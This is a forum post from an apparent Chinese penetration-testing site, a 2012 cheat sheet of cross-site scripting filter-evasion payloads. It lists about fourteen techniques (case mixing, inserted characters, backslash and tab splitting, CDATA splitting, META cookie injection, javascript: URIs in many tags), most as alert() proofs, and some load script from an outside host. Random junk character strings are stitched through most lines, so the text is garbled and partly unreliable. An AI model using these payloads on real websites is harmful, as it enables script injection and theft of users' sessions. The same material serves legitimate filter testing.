中国网络渗透测试联盟

标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页]

作者: admin    时间: 2012-12-31 09:59
标题: Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写/ F# [' [# w2 O9 J* f/ G- O
& z& S$ n1 B+ R. r5 e
# e  j, }  r0 N* {4 b

+ E$ t4 X2 T' G( M  c  C- H    <sCript>alert(‘d’)</scRipT>
. m! W' _6 {7 N/ a
1 f7 K* r. q6 _5 X; v; r2. 利用多加一些其它字符来规避Regular Expression的检查
. y+ ]0 F& r5 r5 v' O2 {. `# R: Q# T4 D( b2 C" F+ C& b
    <<script>alert(‘c’)//<</script>
( B7 p1 G% q& t; Z7 M6 _2 W5 p* Q& d2 D9 Z9 E: V
    <SCRIPT a=">" SRC="t.js"></SCRIPT># p; J# B9 b# m* k* c/ J

5 J2 e) `- ]. E' V    <SCRIPT =">" SRC="t.js"></SCRIPT>
/ d  I+ K5 E  W' N5 N" |8 M
+ @! E0 s! \( j4 i! P0 {0 V- o( y    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>+ T6 d3 N0 J, [  O6 {% w' a

/ u) E0 U6 `8 _9 y7 I) s* H4 a    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>  ]+ G, c8 C/ F. T

4 t) g: ~. Z% _, u' O. Y    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ ^# \0 f  Q+ `% U* U* n! Y8 |
4 N( g; h( k% Y" {    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>+ ~# P0 C8 w  j0 c7 @7 @! u+ ^8 h
3 Y# ~# o( Q7 p/ a
3. 以其它扩展名取代.js
4 D, u7 T) E- ?8 q
3 d  W* }: d3 c7 K. q3 x8 V    <script src="bad.jpg"></script>
# f& ^, `, H& F! \+ g0 |) G2 [. e/ f6 B& Y, m: Q& x8 p
4. 将Javascript写在CSS档里
* S4 u2 Y& P2 [2 a* V6 c$ @  J: d# E, b5 z
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
% [% D5 o& C! z1 V5 m$ j4 Q, W
3 ^& x5 L: Q3 v       example:% c, ]1 R! L" m4 M' J1 a

/ E- h0 W1 {8 [' K) v          body {
8 Q) l( p7 U2 P+ g2 H- _' [0 F( `  ?
               background-image: url(‘javascript:alert("XSS");’)
, {8 O3 ?2 ^# v/ |5 N: m0 B/ H6 e/ k$ a
          }
- s  M$ M* \6 @( m8 S7 Y5 I9 O& f% P* O& k1 Z
5. 在script的tag里加入一些其它字符
: ?" k) @& i8 M3 }2 j6 A# b/ B" q% }% n4 l
    <SCRIPT/SRC="t.js"></SCRIPT>' a" T7 p2 Q, t. T+ ?) Q- j" F

4 T! F5 i, H, n    <SCRIPT/anyword SRC="t.js"></SCRIPT>' N1 V* T- ~3 O, Z; }

2 j8 J6 K! b& f- x% j7 h! s6. 使用tab或是new line来规避
- U; U$ H" @4 o- Q  M! w2 M
% G6 n4 B0 H1 O" {9 i* c    <img src="jav ascr ipt:alert(‘XSS3′)">
3 V: \. D/ a! a. C! c3 ?' `  W6 f; B& G% t( A
    <img src="jav ascr ipt:alert(‘XSS3′)">9 y* s+ [0 J) s9 S( B* ~3 C

( s# k9 i) m) ?. T- z8 U9 x7 |" `! y    <IMG SRC="jav ascript:alert(‘XSS’);">  B3 A* _( g% I) }$ ?% M) O$ y- h) v
' a4 U1 T; R& b! k  K' d5 |
         -> tag) V( q0 n( @0 M! r
. `8 `. {+ C6 }. @) {& X9 C2 s
         -> new line
' O5 {1 `! u" l9 p4 A& ?  t- \9 z0 ~9 j7 j2 P
7. 使用"\"来规避
8 i$ ~  {0 B: N! [9 ~! u9 y. H5 [4 m$ O2 S. f6 n& h
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
1 f0 j& v5 j+ [: T4 `1 v! S, F# O$ a
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
- @: c5 [$ U% G# S  t3 Q7 E4 ?3 f! E; ]- P) s* I
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">9 I0 S  h; |% o, F

8 b! g7 y7 I) H0 S+ _    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
% v/ A3 P. r1 M2 F9 z, N# J" e' \7 e
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ N( B* @% Y! A& b% J, ]

+ O* B. p6 K/ N8. 使用Hex encode来规避(也可能会把";"拿掉)
# I% M9 n+ c  P7 T) S
' w4 p& D& g$ d5 _! t# s. X1 f& k    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"># Z7 X0 M! U# N# ]1 z; w

( f; i8 }! E! C# i: o        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">& l8 W/ [0 p/ N, U& G

) S3 p% y* n. w    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& e" D; G( z" @; c4 P% v+ f0 C) {" X1 i6 m. y
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 J& W2 c. \& H
+ P" y# v  ^/ K  c9 N% P2 g$ e4 ~
9. script in HTML tag* M' p$ G% ]; b

8 H! n$ p! `+ E' P    <body onload=」alert(‘onload’)」>- Y/ ]3 Z- j* k" a
! M8 a6 [' ]7 ?% S) g, A
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
+ _9 U' Y  g: o! n) R1 C% f5 w1 [) W) p+ t1 |* I
10. 在swf里含有xss的code, S3 q) I6 q7 P+ S) J; C

, \) B! I; R$ R6 E8 c! x    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>. J, u/ w2 \- q5 a4 v
9 s+ D7 Y# k4 v( u( I4 l
11. 利用CDATA将xss的code拆开,再组合起来。' W! j4 s  T# g1 M2 K+ I$ N
5 i. |- ?/ L, r+ M
    <XML ID=I><X><C>
: G8 `' U  o& l5 n9 f7 ]' y/ |
0 X: J. t; L( n" N; B, R5 g+ \    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>$ h* T+ o# L% Z) K% ]9 x: L* F
- Y, g$ v8 |6 i2 S  k1 T/ Q
    </C></X>, ?. ]8 l& D* {0 v( V

9 ?2 \- ?) O) O9 \' G5 l) A: S    </xml>, X& u0 b; P/ m. F4 g! @9 i# W

0 h' m# d. `# p" Q  J    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>0 l, A! u: E. z9 j9 |

* n+ u; K4 Y' s) h* T0 a    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
2 R8 o, c1 s0 p$ J9 \6 L, i3 g4 G0 Y, \; {
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 R7 ~/ U8 m6 E. q( ]& p. {2 B' Y' d* G' L
12. 利用HTML+TIME。
- y, z7 I- \. k! S
& {  t4 o' Z0 ?8 y/ v* C7 N    <HTML><BODY>* C, ?, F8 n5 J

3 |, T& N5 Q8 x. e5 ^3 i/ q    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' d# f3 @- k9 l+ c

- u) V' d/ p* @) ^: `( v    <?import namespace="t" implementation="#default#time2">
  N% ]; b7 L+ t( l; K  W8 I" K$ J: U. A# ^
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
- a+ P0 ~6 |0 T. W0 X5 h
) @) S. M/ V/ J    </BODY></HTML>5 r( O! @; y0 Q+ I" [
; W, f& w7 Y1 s' n: Q; J
13. 透过META写入Cookie。
1 F$ u( Z+ H1 x) Y1 w
2 V2 n) h  `9 y& V    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
1 w- q" g2 r3 t; b' C; ]
. c/ u8 `# [2 `3 [14. javascript in src , href , url; Q, r) ^5 R* b

8 i4 J& W9 V. p& r    <IFRAME SRC=javascript:alert(’13′)></IFRAME>( a( m6 D% ]# n# K: F3 O
. C+ @. O; O" t
    <img src="javascript:alert(‘XSS3′)">
* P2 k- c$ T6 R) d. p* ]
( }1 @( ~7 L9 c+ b5 t<IMG DYNSRC="javascript:alert(‘XSS20′)">
& n# C  a$ d, a4 Q) E- P
! \$ b7 y3 b1 Y+ T    <IMG LOWSRC="javascript:alert(‘XSS21′)">
; d" A% [% k+ J
0 {9 n/ I9 i+ {, ?3 S    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">$ V# t% [3 c- E4 e( `$ x% }

! E5 S8 e6 r4 \8 g' |. @    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>5 N, g8 x: N* V% L0 d
6 u* }! p) _* W! u0 u5 U
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
4 B5 x! D1 d' h# b3 M, _. g& i8 Q
2 ~+ p" m2 M1 B    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
/ m4 e7 t; H9 c% o. L6 L1 m+ [; n
( L# J8 j) `! u$ b& k( O    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}) u* N6 z" X- x7 S- s/ S% r+ ?6 E

+ {; L# @+ E4 K5 k9 R    </STYLE><A CLASS=XSS></A>
! G$ z; M: e" F3 _4 c
- e, ?7 J3 f: k+ n% B    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>3 J" S. ^% X* K

2 Y1 F/ h4 J( o% O




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2